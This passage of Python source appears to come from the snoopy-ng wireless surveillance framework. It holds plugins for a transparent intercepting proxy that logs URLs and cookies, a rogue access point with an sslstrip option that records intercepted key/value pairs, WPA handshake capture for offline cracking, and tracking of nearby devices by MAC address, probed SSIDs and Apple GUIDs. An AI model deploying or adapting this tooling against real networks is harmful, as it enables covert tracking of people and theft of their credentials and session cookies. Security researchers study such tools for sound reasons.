34 | transparent_proxy = dict (showhost=True, resolver = platform.resolver(), sslports = [443, 8443])
35 | )
36 |
37 |
38 | state = flow.State()
39 | server = proxy.ProxyServer(config, self.port)
40 | self.m = MyMaster(server, state)
41 |
42 |
43 | def run(self):
44 | logging.info("Plugin %s%s%s started proxy on port %s%s%s" % (GR,self.fname,G,GR,self.port,G))
45 | self.m.run()
46 |
47 | def is_ready(self):
48 | #Perform any functions that must complete before plugin runs
49 | return True
50 |
51 | def stop(self):
52 | self.m.shutdown()
53 |
54 | @staticmethod
55 | def get_parameter_list():
56 | info = {"info" : "This plugin runs a proxy server. It's useful in conjunction with iptables and rogueAP",
57 | "parameter_list" : [ ("port=","Port for proxy to listen on."),
58 | ("upprox=","Upstream proxy to use."),
59 | ("transparent=[True|False]","Set transparent mode. Default is False")
60 | ]
61 | }
62 | return info
63 |
64 |
65 | def get_data(self):
66 | """Ensure data is returned in the form of a SQL row."""
67 | #e.g of return data - [("tbl_name", [{'var01':99, 'var02':199}]
68 | data = self.m.get_logs()
69 | toReturn = []
70 | if data:
71 | for d in data:
72 | toReturn.append(d)
73 | return [("web_logs", toReturn)]
74 | else:
75 | return []
76 |
77 |
78 | @staticmethod
79 | def get_tables():
80 | """This function should return a list of table(s)"""
81 |
82 | table = Table('web_logs',MetaData(),
83 | Column('client_ip', String(length=15)),
84 | Column('host', String(length=40)),
85 | Column('path', String(length=20)),
86 | Column('full_url', String(length=20)),
87 | Column('method', String(length=20)),
88 | Column('port', String(length=20)),
89 | Column('timestamp', String(length=20)),
90 | Column('useragent', String(length=20)),
91 | Column('cookies', String(length=20)),
92 | Column('sunc', Integer, default=0)
93 | )
94 |
95 | #TODO: Need to pull MAC address out with mitm to incorporate below.
96 | table2 = Table('user_agents', MetaData(),
97 | Column('mac', String(64), primary_key=True), #Len 64 for sha256
98 | Column('userAgent', String(128), primary_key=True, autoincrement=False)) #One device may have multiple browsers
99 |
100 | return [table]
101 |
102 | if __name__ == "__main__":
103 | Snoop().start()
104 |
--------------------------------------------------------------------------------
/plugins/mods80211/__arp_geoloc.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import logging
5 | import re
6 | from sqlalchemy import MetaData, Table, Column, String, Integer
7 | from scapy.all import ARP, Ether
8 |
9 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
10 |
11 |
12 | class Snarf():
13 | """Grabs BSSID from arp frames (thanks Hubert)"""
14 | def __init__(self,**kwargs):
15 | self.device_bssids = {}
16 |
17 | @staticmethod
18 | def get_tables():
19 | """Make sure to define your table here"""
20 | table = Table('bssid_arps', MetaData(),
21 | Column('mac', String(12), primary_key=True),
22 | Column('bssid', String(12), primary_key=True),
23 | Column('sunc', Integer, default=0))
24 | return [table]
25 |
26 | def proc_packet(self, packet):
27 | if packet.haslayer(ARP) and packet.haslayer(Ether):
28 | mac = re.sub(':', '', packet.addr2)
29 | bssid = packet[Ether].dst
30 | if bssid != 'ff:ff:ff:ff:ff:ff':
31 | self.device_bssids[(mac, bssid)] = 0
32 |
33 | def get_data(self):
34 | tmp = []
35 | sunc = []
36 | for k, v in self.device_bssids.iteritems():
37 | if v == 0:
38 | tmp.append( {"mac": k[0], "bssid": k[1]} )
39 | sunc.append((k[0], k[1]))
40 | if sunc:
41 | for foo in sunc:
42 | mac, bssid = foo[:2]
43 | self.device_bssids[(mac, bssid)] = 1
44 | return ("bssid_arps", tmp)
45 | return []
46 |
--------------------------------------------------------------------------------
/plugins/mods80211/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/plugins/mods80211/__init__.py
--------------------------------------------------------------------------------
/plugins/mods80211/apple_guids.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import logging
5 | import re
6 | from sqlalchemy import MetaData, Table, Column, Integer, String, Unicode
7 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
8 | from scapy.all import *#Dot11ProbeReq, Dot11Elt, TCP, addr2
9 | from base64 import b64encode
10 | from includes.common import snoop_hash
11 | from collections import OrderedDict
12 | import os
13 | from includes.fonts import *
14 |
15 | MAX_NUM_GUIDs = 1000 #Maximum number of mac:guid paris to keep in memory
16 |
17 | class Snarf():
18 | """Apple devices emit a GUID when joining a network. This captures it."""
19 |
20 | def __init__(self, **kwargs):
21 | self.apple_guids = OrderedDict()
22 |
23 | #Process passed parameters
24 | self.hash_macs = kwargs.get('hash_macs', False)
25 | self.verb = kwargs.get('verbose', 0)
26 | self.fname = os.path.splitext(os.path.basename(__file__))[0]
27 |
28 | @staticmethod
29 | def get_tables():
30 | """Make sure to define your table here"""
31 | table = Table('apple_guids', MetaData(),
32 | Column('mac', String(64), primary_key=True), #Len 64 for sha256
33 | Column('guid', String(100), primary_key=True, autoincrement=False),
34 | Column('sunc', Integer, default=0))
35 | return [table]
36 |
37 | def proc_packet(self, p):
38 | if p.haslayer(Ether) and p.haslayer(TCP) and hasattr(p[TCP], 'load'):
39 | data=p[TCP].load
40 | #mac = re.sub(':', '', p.addr2)
41 | mac = re.sub(':', '', p[Ether].src)
42 | if self.hash_macs == "True":
43 | mac = snoop_hash(mac)
44 | srl = re.search('(\$\w{8}-\w{4}-\w{4}-\w{4}-\w{13})', data)
45 | if srl:
46 | guid = srl.group(1)
47 | if (mac, guid) not in self.apple_guids:
48 | self.apple_guids[(mac, guid)] = 0
49 | if self.verb > 0:
50 | logging.info("Sub-plugin %s%s%s observed new GUID: %s%s(%s)%s" % (GR,self.fname,G,GR,guid,mac,G))
51 |
52 | def get_data(self):
53 | tmp = []
54 | todel = []
55 | for k, v in self.apple_guids.iteritems():
56 | if v == 0:
57 | tmp.append( {"mac": k[0], "guid": k[1]} )
58 | todel.append((k[0], k[1]))
59 |
60 | # Reduce mac:guid data structure if it's getting too large
61 | if len(self.apple_guids) > MAX_NUM_GUIDs:
62 | logging.debug("MAC:GUID structure is large (%d), going to reduce by 50pc (-%d)" % (len(self.apple_guids),(int(0.5*MAX_NUM_GUIDs))))
63 | for i in range(int(0.5 * MAX_NUM_GUIDs)):
64 | try:
65 | self.apple_guids.popitem(last = False)
66 | except KeyError:
67 | pass
68 | logging.debug("MAC:GUID structure is now %d" % len(self.apple_guids))
69 |
70 | if len(todel) > 0:
71 | for foo in todel:
72 | mac, guid = foo[0], foo[1]
73 | self.apple_guids[(mac, guid)] = 1
74 | return [("apple_guids", tmp)]
75 |
--------------------------------------------------------------------------------
/plugins/mods80211/prefilter/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/plugins/mods80211/prefilter/__init__.py
--------------------------------------------------------------------------------
/plugins/mods80211/prefilter/prefilter.py:
--------------------------------------------------------------------------------
1 | from scapy.all import Dot11ProbeReq, Dot11Elt
2 | import re
3 | import logging
4 |
5 | def prefilter(p):
6 | #Sometimes tcpdump returns garbled probe-request data. This is
7 | # a dirty hack to try and detect those cases
8 | if p.haslayer(Dot11ProbeReq):
9 | if not re.match("[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]", p.addr2):
10 | logging.debug("Bad MAC address detected: %s" % p.addr2)
11 | return False
12 | else:
13 | if p[Dot11Elt].info != '':
14 | ssid = p[Dot11Elt].info
15 | try:
16 | ssid = ssid.decode('utf-8')
17 | except:
18 | logging.debug("Bad SSID detected: %s" % ssid)
19 | return False
20 | if len(ssid) == 0:
21 | return False
22 |
23 | return True #Default operation
24 |
--------------------------------------------------------------------------------
/plugins/mods80211/wifi_aps.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import logging
5 | import re
6 | from sqlalchemy import MetaData, Table, Column, Integer, String, Unicode, DateTime
7 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
8 | from scapy.all import Dot11Beacon, Dot11Elt
9 | from base64 import b64encode
10 | from includes.common import snoop_hash, printFreq
11 | import os
12 | from includes.fonts import *
13 | from includes.prox import prox
14 | from includes.fifoDict import fifoDict
15 | import datetime
16 | from includes.mac_vendor import mac_vendor
17 |
18 | #N.B If you change b64mode to False, you should probably change
19 | # the ssid colum to type Unicode.
20 | b64mode = False
21 |
22 | class Snarf():
23 | """Extract BSSIDs (i.e. Access Points)"""
24 |
25 | def __init__(self, **kwargs):
26 |
27 | self.hash_macs = kwargs.get('hash_macs', False)
28 | proxWindow = kwargs.get('proxWindow', 300)
29 | self.verb = kwargs.get('verbose', 0)
30 | self.fname = os.path.splitext(os.path.basename(__file__))[0]
31 |
32 | self.prox = prox(proxWindow=proxWindow, identName="mac", pulseName="num_beacons")
33 | self.ap_names = fifoDict()
34 | self.device_vendor = fifoDict()
35 |
36 | self.mv = mac_vendor()
37 | self.lastPrintUpdate = 0
38 |
39 | @staticmethod
40 | def get_tables():
41 | """Make sure to define your table here"""
42 | table = Table('wifi_AP_obs', MetaData(),
43 | Column('mac', String(64), primary_key=True), #Len 64 for sha256
44 | Column('first_obs', DateTime, primary_key=True, autoincrement=False),
45 | Column('last_obs', DateTime),
46 | Column('num_beacons', Integer),
47 | Column('sunc', Integer, default=0))
48 |
49 | table2 = Table('wifi_AP_ssids', MetaData(),
50 | Column('mac', String(64), primary_key=True), #Len 64 for sha256
51 | Column('ssid', String(100), primary_key=True, autoincrement=False),
52 | Column('sunc', Integer, default=0))
53 |
54 | return [table, table2]
55 |
56 | def proc_packet(self, p):
57 | if p.haslayer(Dot11Beacon) and p[Dot11Elt].info != '' and re.match("[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]", p.addr2):
58 | mac = re.sub(':', '', p.addr2)
59 | timeStamp = datetime.datetime.fromtimestamp(int(p.time))
60 | vendor = self.mv.lookup(mac[:6])
61 | if self.hash_macs == "True":
62 | mac = snoop_hash(mac)
63 | if b64mode:
64 | ssid = b64encode(p[Dot11Elt].info)
65 | else:
66 | ssid = p[Dot11Elt].info.decode('utf-8', 'ignore')
67 | try:
68 | sig_str = -(256-ord(p.notdecoded[-4:-3])) #TODO: Use signal strength
69 | except:
70 | logging.error("Unable to extract signal strength")
71 | logging.error(p.summary())
72 |
73 | self.prox.pulse(mac,timeStamp)
74 | self.ap_names.add((mac,ssid))
75 | self.device_vendor.add((mac,vendor))
76 |
77 | def get_data(self):
78 | proxSess = self.prox.getProxs()
79 | ap_names_rtn = []
80 | for mac_ssid in self.ap_names.getNew():
81 | mac,ssid = mac_ssid
82 | ap_names_rtn.append({"mac": mac, "ssid": ssid})
83 |
84 | vendors = []
85 | for mac_vendor in self.device_vendor.getNew():
86 | mac, vendor = mac_vendor
87 | vendorShort = vendor[0]
88 | vendorLong = vendor[1]
89 | vendors.append({"mac": mac, "vendor": vendorShort, "vendorLong": vendorLong})
90 |
91 | if proxSess and self.verb > 0 and abs(os.times()[4] - self.lastPrintUpdate) > printFreq:
92 | logging.info("Sub-plugin %s%s%s currently observing %s%d%s Access Points" % (GR,self.fname,G,GR,self.prox.getNumProxs(),G))
93 | self.lastPrintUpdate = os.times()[4]
94 |
95 |
96 | data = [("wifi_AP_obs", proxSess), ("wifi_AP_ssids", ap_names_rtn), ("vendors",vendors)]
97 | return data
98 |
--------------------------------------------------------------------------------
/plugins/mods80211/wifi_clients.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import collections
5 | import logging
6 | import re
7 | from sqlalchemy import MetaData, Table, Column, String, Integer, DateTime
8 | from includes.common import snoop_hash, printFreq
9 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
10 | from scapy.all import Dot11ProbeReq, Dot11Elt
11 | import datetime
12 | from includes.fonts import *
13 | import os
14 | from includes.prox import prox
15 | from includes.mac_vendor import mac_vendor
16 | from includes.fifoDict import fifoDict
17 |
18 | class Snarf():
19 | """Observe WiFi client devices based on probe-requests emitted."""
20 |
21 | def __init__(self, **kwargs):
22 |
23 | self.proxWindow = kwargs.get('proxWindow', 300)
24 | self.hash_macs = kwargs.get('hash_macs', False)
25 | self.verb = kwargs.get('verbose', 0)
26 | self.fname = os.path.splitext(os.path.basename(__file__))[0]
27 | self.prox = prox(proxWindow=self.proxWindow, identName="mac", pulseName="num_probes", verb=0, callerName=self.fname)
28 | self.device_vendor = fifoDict(names=("mac", "vendor", "vendorLong"))
29 | self.client_ssids = fifoDict(names=("mac","ssid"))
30 |
31 | self.mv = mac_vendor()
32 | self.lastPrintUpdate = 0
33 |
34 | @staticmethod
35 | def get_tables():
36 | """Make sure to define your table here"""
37 | table = Table('wifi_client_obs', MetaData(),
38 | Column('mac', String(64), primary_key=True), #Len 64 for sha256
39 | Column('first_obs', DateTime, primary_key=True, autoincrement=False),
40 | Column('last_obs', DateTime),
41 | Column('num_probes', Integer),
42 | Column('sunc', Integer, default=0),
43 | )
44 |
45 | table2 = Table('vendors', MetaData(),
46 | Column('mac', String(64), primary_key=True), #Len 64 for sha256
47 | Column('vendor', String(20) ),
48 | Column('vendorLong', String(50) ),
49 | Column('sunc', Integer, default=0))
50 |
51 | table3 = Table('wifi_client_ssids', MetaData(),
52 | Column('mac', String(64), primary_key=True), #Len 64 for sha256
53 | Column('ssid', String(100), primary_key=True, autoincrement=False),
54 | Column('sunc', Integer, default=0))
55 |
56 | return [table, table2, table3]
57 |
58 | def proc_packet(self,p):
59 |
60 | if not p.haslayer(Dot11ProbeReq):
61 | return
62 | timeStamp = datetime.datetime.fromtimestamp(int(p.time))
63 | mac = re.sub(':', '', p.addr2)
64 | vendor = self.mv.lookup(mac[:6])
65 |
66 | if self.hash_macs == "True":
67 | mac = snoop_hash(mac)
68 |
69 | try:
70 | sig_str = -(256-ord(p.notdecoded[-4:-3])) #TODO: Use signal strength
71 | except:
72 | #logging.error("Unable to extract signal strength")
73 | pass
74 | self.prox.pulse(mac, timeStamp) #Using packet time instead of system time allows us to read pcaps
75 | self.device_vendor.add((mac,vendor[0],vendor[1]))
76 |
77 | if p[Dot11Elt].info != '':
78 | ssid = p[Dot11Elt].info.decode('utf-8')
79 | ssid = re.sub("\n", "", ssid)
80 | if self.verb > 1 and len(ssid) > 0:
81 | logging.info("Sub-plugin %s%s%s noted device %s%s%s (%s%s%s) probing for %s%s%s" % (GR,self.fname,G,GR,mac,G,GR,vendor[0],G,GR,ssid,G))
82 | if len(ssid) > 0:
83 | self.client_ssids.add((mac,ssid))
84 |
85 | def get_data(self):
86 | """Ensure data is returned in the form (tableName,[colname:data,colname:data]) """
87 | proxSess = self.prox.getProxs()
88 | vendors = self.device_vendor.getNew()
89 | ssid_list = self.client_ssids.getNew()
90 |
91 | if proxSess and self.verb > 0 and abs(os.times()[4] - self.lastPrintUpdate) > printFreq:
92 | logging.info("Sub-plugin %s%s%s currently observing %s%d%s client devices" % (GR,self.fname,G,GR,self.prox.getNumProxs(),G))
93 | self.lastPrintUpdate = os.times()[4]
94 |
95 | data = [("wifi_client_obs",proxSess), ("vendors",vendors), ("wifi_client_ssids", ssid_list)]
96 | return data
97 |
98 |
--------------------------------------------------------------------------------
/plugins/mods80211/wpa.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import logging
5 | import re
6 | from sqlalchemy import MetaData, Table, Column, Integer, String, Unicode
7 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
8 | #from scapy.all import Dot11Beacon, Dot11Elt
9 | from collections import deque
10 | from includes.fonts import *
11 | import os
12 | import cpyrit.pckttools
13 | from base64 import b64encode
14 |
15 | class Snarf():
16 | """Capture WPA handshakes"""
17 |
18 | def __init__(self, **kwargs):
19 | self.handshakes = deque()
20 | self.verb = kwargs.get('verbose', 0)
21 | self.fname = os.path.splitext(os.path.basename(__file__))[0]
22 | self.cp = cpyrit.pckttools.PacketParser(new_ap_callback=None, new_auth_callback=self.auth_handler)
23 |
24 | def auth_handler(self, auth):
25 | if auth.station.ap.isCompleted():
26 | json_eap = {"sta_mac": auth.station.mac, "ap_mac" : auth.station.ap.mac, "ssid": auth.station.ap.essid, "anonce": b64encode(auth.anonce), "snonce": b64encode(auth.snonce), "keymic": b64encode(auth.keymic), "keymic_frame": b64encode(auth.keymic_frame), "version": auth.version, "quality": auth.quality, "spread": auth.spread}
27 | self.handshakes.append(json_eap)
28 | if self.verb > 0:
29 | logging.info("Sub-plugin %s%s%s captured new handshake for %s%s%s" % (GR,self.fname,G,GR,auth.station.ap.essid, G))
30 |
31 | @staticmethod
32 | def get_tables():
33 | """Make sure to define your table here"""
34 | table = Table('wpa_handshakes', MetaData(),
35 | Column('ssid', String(64), primary_key=True),
36 | Column('ap_mac', String(12), primary_key=True, autoincrement=False),
37 | Column('sta_mac', String(12), primary_key=True, autoincrement=False),
38 | Column('anonce', String(50), primary_key=True, autoincrement=False),
39 | Column('snonce', String(50)),
40 | Column('keymic', String(24)),
41 | Column('keymic_frame', String(180)),
42 | Column('version', String(10)),
43 | Column('quality', Integer),
44 | Column('spread', Integer),
45 | Column('sunc', Integer, default=0))
46 | return [table]
47 |
48 | def proc_packet(self, p):
49 | self.cp.parse_packet(p)
50 |
51 |
52 | def get_data(self):
53 | rtnData=[]
54 | while self.handshakes:
55 | rtnData.append(self.handshakes.popleft())
56 | if rtnData:
57 | return [("wpa_handshakes", rtnData)]
58 |
--------------------------------------------------------------------------------
/plugins/rogueAP.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import logging
5 | from sqlalchemy import Float, DateTime, String, Integer, Table, MetaData, Column #As required
6 | from threading import Thread
7 | logging.basicConfig(level=logging.DEBUG,
8 | format='%(asctime)s %(levelname)s %(filename)s: %(message)s',
9 | datefmt='%Y-%m-%d %H:%M:%S')
10 | import time
11 | from collections import deque
12 | from random import randint
13 | import datetime
14 | from threading import Thread
15 | import os
16 | from includes.fonts import *
17 | from includes.rogee import *
18 |
19 | class Snoop(Thread):
20 | """Rogue Access Point."""
21 | def __init__(self, **kwargs):
22 | Thread.__init__(self)
23 | self.RUN = True
24 |
25 | # Process arguments passed to module
26 | self.verb = kwargs.get('verbose', 0)
27 | self.fname = os.path.splitext(os.path.basename(__file__))[0]
28 | self.myRogue = rogueAP(**kwargs)
29 |
30 | def run(self):
31 | self.myRogue.run_ap()
32 | self.myRogue.run_dhcpd()
33 | self.myRogue.do_nat()
34 |
35 | time.sleep(2)
36 | if not self.myRogue.all_OK():
37 | logging.error("Something's gone wrong with the Rogue AP. Probably try restarting things.")
38 |
39 | while self.RUN:
40 | time.sleep(2)
41 |
42 | def is_ready(self):
43 | #Perform any functions that must complete before plugin runs
44 | if not self.myRogue.all_OK():
45 | return False
46 | return True
47 |
48 | def stop(self):
49 | self.RUN = False
50 | self.myRogue.shutdown()
51 |
52 | @staticmethod
53 | def get_parameter_list():
54 | info = {"info" : "Create a rogue access point.",
55 | "parameter_list" : [ ("ssid=","The SSID of the acces point."),
56 | ("promis=[True|False]","Set promiscuous mode (respond to all probe requests)."),
57 | ("run_dhcp=[True|False]","Run a DHCP server."),
58 | ("local_nat=[True|False]","Run local NAT to route traffic out."),
59 | ("hostapd=[True|False]","Use hostapd instead of airbase-ng."),
60 | ("hapdconf=","Specify the hostapd config file to use."),
61 | ("hapdcmd=","Specify the hostapd binary to use."),
62 | ("sslstrip=[True|False]","Send traffic through Moxie's SSL strip.")
63 | ]
64 | }
65 | return info
66 |
67 |
68 | def get_data(self):
69 | """Ensure data is returned in the form of a SQL row."""
70 | data = self.myRogue.get_new_leases() + self.myRogue.get_ssl_data()
71 | return data
72 |
73 | @staticmethod
74 | def get_tables():
75 | """This function should return a list of table(s)"""
76 |
77 | table = Table('dhcp_leases',MetaData(),
78 | Column('leasetime', Integer),
79 | Column('mac', String(12), primary_key=True),
80 | Column('ip', String(length=20), primary_key=True, autoincrement=False),
81 | Column('hostname', String(length=20)),
82 | Column('sunc', Integer, default=0)) #Omit this if you don't want to sync
83 |
84 | ssl_strip = Table('sslstrip', MetaData(),
85 | Column('date', DateTime),
86 | Column('domain', String(60)),
87 | Column('key', String(40)),
88 | Column('value', String(200)),
89 | Column('url', String(255)),
90 | Column('client', String(15)),
91 | Column('sunc', Integer, default=0))
92 |
93 | return [table, ssl_strip]
94 |
95 | if __name__ == "__main__":
96 | Snoop().start()
97 |
--------------------------------------------------------------------------------
/plugins/run_log.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import logging
5 | from sqlalchemy import Float, DateTime, String, Integer, Table, MetaData, Column #As required
6 | from threading import Thread
7 | logging.basicConfig(level=logging.DEBUG,
8 | format='%(asctime)s %(levelname)s %(filename)s: %(message)s',
9 | datefmt='%Y-%m-%d %H:%M:%S')
10 | import time
11 | from collections import deque
12 | from random import randint
13 | import datetime
14 | from threading import Thread
15 | import datetime
16 | import json
17 | import os
18 |
19 | fname = os.path.splitext(os.path.basename(__file__))[0]
20 |
21 | class Snoop(Thread):
22 | """This plugin always runs, but the user is not notified about it."""
23 | def __init__(self, **kwargs):
24 | Thread.__init__(self)
25 | self.RUN = True
26 | # Process arguments passed to module
27 | self.drone = kwargs.get('drone',"no_drone_name_supplied")
28 | self.run_id = kwargs.get('run_id', "no_run_id_supplied")
29 | self.location = kwargs.get('location', "no_location_supplied")
30 | plugs = kwargs.get('plugs')
31 | now = datetime.datetime.now() #.strftime("%Y-%m-%d %H:%M:%S")
32 |
33 | tmp_p = []
34 | for p in json.loads(plugs):
35 | name = p['name'][8:]
36 | if name != fname:
37 | tmp_p.append(name)
38 | plugins = ",".join(tmp_p)
39 |
40 | """
41 | plugs = json.loads(plugs)
42 | dd=[]
43 | for p in plugs:
44 | name = p['name'][8:]
45 | pas=[]
46 | for k,v in p['params'].iteritems():
47 | pas.append("%s=%s" % (k,v))
48 | fl = ",".join(pas)
49 | rtn = ""
50 | if fl:
51 | rtn = name + ":" + ",".join(pas)
52 | else:
53 | rtn = name
54 | if name != "run_log":
55 | dd.append(rtn)
56 | plugins = ",".join(dd)
57 | """
58 |
59 | self.run_session = {"runn_id" : self.run_id, "drone" : self.drone, "location" : self.location, "start" : now, "end" : now, 'plugins':plugins, 'sunc':0 }
60 |
61 |
62 | def run(self):
63 | while self.RUN:
64 | time.sleep(1)
65 |
66 | def is_ready(self):
67 | return True
68 |
69 | def stop(self):
70 | self.RUN = False
71 |
72 | @staticmethod
73 | def get_parameter_list():
74 | info = {"info" : "Creates a 'session' identifier, noting the start and end time of running the program.",
75 | "parameter_list" : None
76 | }
77 | return info
78 |
79 | def get_data(self):
80 | """Ensure data is returned in the form of a SQL row."""
81 | self.run_session['end'] = datetime.datetime.now() #.strftime("%Y-%m-%d %H:%M:%S")
82 | return [("sessions", [self.run_session])]
83 |
84 | @staticmethod
85 | def get_tables():
86 | """This function should return a list of table(s)"""
87 | run = Table('sessions', MetaData(),
88 | Column('runn_id', Integer, primary_key=True),
89 | Column('location', String(length=60)),
90 | Column('drone', String(length=200)),
91 | Column('start', DateTime),
92 | Column('end', DateTime),
93 | Column('plugins', String(length=200)),
94 | Column('sunc', Integer, default=0)
95 | )
96 |
97 | return [run]
98 |
99 | if __name__ == "__main__":
100 | Snoop().start()
101 |
--------------------------------------------------------------------------------
/plugins/server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | import logging
4 | from sqlalchemy import create_engine, MetaData, Table, Column, String,\
5 | select, and_, Integer
6 | from collections import deque
7 | from sqlalchemy.exc import *
8 | from includes.common import *
9 | import includes.common as common
10 | import time
11 | from datetime import datetime
12 | from threading import Thread
13 | import inspect
14 | logging.basicConfig(level=logging.DEBUG, filename='/tmp/snoopy_server.log',
15 | format='%(asctime)s %(levelname)s %(filename)s: %(message)s',
16 | datefmt='%Y-%m-%d %H:%M:%S')
17 | from includes import webserver
18 | import os
19 | from includes.fonts import *
20 |
21 | #from includes import xbeeserver #ProVersion
22 |
23 | #def get_plugins():
24 | # filename = os.path.split(inspect.getfile(inspect.currentframe()))[1].replace(".py","")
25 | # pluginNames = common.get_plugins()
26 | # pluginNames.remove("server")
27 | # plugins = []
28 | # for plug in pluginNames:
29 | # plug = "plugins." + plug
30 | # m = __import__(plug, fromlist="Snoop").Snoop
31 | # plugins.append(m)
32 | # return plugins
33 |
34 | def get_plugins():
35 | filename = os.path.split(inspect.getfile(inspect.currentframe()))[1].replace(".py","")
36 | this_plugin = __import__("plugins." + filename, fromlist="Snoop").Snoop
37 | plugins = common.get_plugins()
38 | plugins.remove(this_plugin)
39 | return plugins
40 |
41 | class Snoop(Thread):
42 | def __init__(self, **kwargs):
43 | Thread.__init__(self)
44 | self.RUN = True
45 | self.setDaemon(True)
46 | # Process arguments passed to module
47 | self.port = kwargs.get('port',9001)
48 | self.ip = kwargs.get('ip','0.0.0.0')
49 | self.cert = kwargs.get('cert',None)
50 | self.cert_key = kwargs.get('cert_key',None)
51 | self.db = kwargs.get('dbms',None)
52 |
53 | self.verb = kwargs.get('verbose', 0)
54 | self.fname = os.path.splitext(os.path.basename(__file__))[0]
55 |
56 | if self.db:
57 | self.metadata = MetaData(self.db) #If you need to access the db object. N.B Use for *READ* only.
58 | self.metadata.reflect()
59 | self.data = deque(maxlen=100000)
60 |
61 | def run(self):
62 | logging.info("Running webserver on '%s:%s'" % (self.ip,self.port))
63 | webserver.run_webserver(self.port,self.ip,self.cert,self.cert_key,self.db)
64 |
65 | def is_ready(self):
66 | #Perform any functions that must complete before plugin runs
67 | return True
68 |
69 | def stop(self):
70 | self.RUN = False
71 | self._Thread__stop() #Ouch. Probably a bad approach.
72 |
73 | @staticmethod
74 | def get_parameter_list():
75 | info = {"info" : "Runs a server - allowing local data to be synchronized remotely.",
76 | "parameter_list" : [("port=","The HTTP port to listen on."),
77 | ("cert=","The SSL certificate path (implies server will use HTTPS)."),
78 | ("cert_key=","The certificate key path (implies server will use HTTPS)."),
79 | ("xbee=","The XBee PIN to listen on (see Pro version).")
80 | ]
81 | }
82 |
83 | return info
84 |
85 | def get_data(self):
86 | new_data = webserver.poll_data()
87 | if new_data:
88 | logging.info("Plugin %s%s%s caught data for %s%d%s tables." % (GR,self.fname,G,GR,len(new_data),G))
89 | return new_data
90 |
91 | @staticmethod
92 | def get_tables():
93 | return []
94 |
95 | if __name__ == "__main__":
96 | Snoop().start()
97 |
--------------------------------------------------------------------------------
/plugins/sysinfo.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import logging
5 | import sqlalchemy as sa
6 | from threading import Thread
7 | import time
8 | import includes.system_info as sysinfo
9 | import os
10 | from includes.fonts import *
11 | import datetime
12 | #logging.basicConfig(level=logging.DEBUG)
13 |
14 | class Snoop(Thread):
15 | def __init__(self, **kwargs):
16 | Thread.__init__(self)
17 | self.RUN = True
18 | self.last_heartbeat = 0
19 | #self.heartbeat_freq = 60*30 # Check system every n seconds
20 | self.system_statuses = []
21 |
22 | self.verb = kwargs.get('verbose', 0)
23 | self.heartbeat_freq = int(kwargs.get('freq', 60*30))
24 | self.fname = os.path.splitext(os.path.basename(__file__))[0]
25 |
26 | def is_ready(self):
27 | """Indicates the module is ready, and loading of next module may commence."""
28 | return True
29 |
30 | def stop(self):
31 | """Perform operations required to stop module and return"""
32 | self.RUN = False
33 |
34 | @staticmethod
35 | def get_parameter_list():
36 | """List of paramters that can be passed to the module, for user help output."""
37 | info = {"info" : "Retrieves system information, every 30 minutes.",
38 | "parameter_list" : None
39 | }
40 | return info
41 |
42 | def get_data(self):
43 | """Ensure data is returned in the form of a SQL row."""
44 | tmp_to_return = self.system_statuses
45 | self.system_statuses = []
46 | return tmp_to_return
47 |
48 | def run(self):
49 | logging.info("Plugin %s%s%s will check device status every %s%d%s seconds." % (GR,self.fname,G, GR,self.heartbeat_freq,G))
50 | while self.RUN:
51 | #now = int(time.time())
52 | now = int(os.times()[4])
53 | if abs(now - self.last_heartbeat) > self.heartbeat_freq:
54 | logging.debug("Checking system status")
55 | self.last_heartbeat = now
56 | global_stats = sysinfo.query_system_status()
57 | busy_pids = sysinfo.fetch_busy_processes()
58 |
59 | timeStamp = datetime.datetime.now()
60 | #global_stats['drone'] = self.drone
61 | global_stats['timestamp'] = timeStamp #int(time.time())
62 |
63 | for pid in busy_pids:
64 | #pid['drone'] = self.drone
65 | pid['timestamp'] = timeStamp #now
66 |
67 | if self.verb > 0:
68 | logging.info("Plugin %s%s%s generated new data." % (GR,self.fname,G))
69 |
70 | if global_stats:
71 | self.system_statuses.append( ('sys_global',[global_stats]) )
72 | if busy_pids:
73 | self.system_statuses.append( ('sys_bpids', busy_pids) )
74 | time.sleep(2)
75 |
76 | @staticmethod
77 | def get_tables():
78 | """Return the table definitions for this module."""
79 | # Make sure to define your table here. Ensure you have a 'sunc' column:
80 | metadata = sa.MetaData()
81 | table_global = sa.Table('sys_global',metadata,
82 | #sa.Column('drone', sa.String(length=20), primary_key=True),
83 | sa.Column('timestamp', sa.DateTime, primary_key=True, autoincrement=False),
84 | sa.Column('network_rcvd',sa.Float() ),
85 | sa.Column('network_sent',sa.Float() ),
86 | sa.Column('uptime',sa.String(15)),
87 | sa.Column('used_cpu',sa.Float() ),
88 | sa.Column('used_disk',sa.Float() ),
89 | sa.Column('used_mem',sa.Float() ),
